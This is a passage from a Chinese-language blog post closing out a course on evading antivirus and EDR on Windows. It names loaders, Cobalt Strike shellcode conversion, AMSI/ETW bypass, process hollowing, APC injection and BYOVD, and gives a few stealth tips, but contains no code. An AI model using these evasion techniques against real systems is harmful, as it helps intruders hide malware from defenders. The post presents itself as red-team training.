  • Nim-Loader – 通过 Nim 实现 EDR 绕过

  • Donut + Cobalt Strike – 将 PE 转换为 Shellcode,支持 AMSI/ETW 绕过

  • DInvoke – 从内存动态调用 P/Invoke,无需静态导入


12. 红队技巧

  • 随机化进程/线程名称和创建标志

  • 使用 CreateProcessAsUser 进行更隐蔽的进程启动

  • 利用 LOLBins(Living Off the Land Binaries)避免检测


总结

行为规避是 了解 EDR 思维方式的游戏。虽然通过混淆可以实现基于签名的规避,但绕过行为检测 需要操控时机、系统调用和进程行为。掌握这些技术使红队能够在高安全环境中隐蔽操作,避免被检测。

模块 10 – 结尾

源代码项目

仓库

源代码示例 - GitHub:https://github.com/CyberSecurityUP/AV-EDR-Evasion-Practical-Techniques-Course


特别感谢

结论

结论与最终思考

通过本课程,我们深入探讨了 Windows 平台上的进攻性安全技巧。从直接的系统调用到高级规避技术,如卸载钩子、系统调用存根、ETW 绕过和硬件断点,内容重点是为进攻性操作员和红队专业人员提供实际操作的能力。

本课程的目标不仅是介绍技术,还要培养一种工程思维——能够理解、适应并击败现代 EDR 和 AV 解决方案,特别是在高度监控的环境中。本课程旨在让学员能够以类似现实世界威胁的方式,构建自己的工具、加载器和执行链。

通过本课程,你应该能够:

  • 识别并分析用户态和内核级别的监控机制。

  • 使用本地 Windows 内部机制绕过遥测和检测。

  • 利用低级技术(汇编、系统调用、驱动程序)设计负载和加载器。

  • 在实验室环境中安全使用 BYOVD(Bring Your Own Vulnerable Driver) 技术。

  • 开发自定义实现,如 NTDLL 存根、进程空洞化、APC 注入等。

掌握这些技术需要时间、实践和纪律。始终记住:能力越大,责任越大。请在研究、防御和提升安全环境的过程中,使用你的知识,做到合乎伦理。


感谢

感谢你投入时间、精力和专注于这门高级训练。

你对 Windows 操作系统进攻性安全的热情和专业精神,表明了你对学习的承诺。无论你是红队成员、恶意软件分析师,还是安全研究员,本课程中所培养的技能将成为你更深入的研究和实际操作的基础。

继续学习、探索,拓展自己的能力边界。最重要的是——保持敏锐,保持好奇,保持合乎伦理。

下次任务再见。


AV/EDR规避实用技术
https://sh1yan.top/2025/12/09/Practical-AVEDR-Evasion-Techniques/
作者
shiyan
发布于
2025年12月9日
许可协议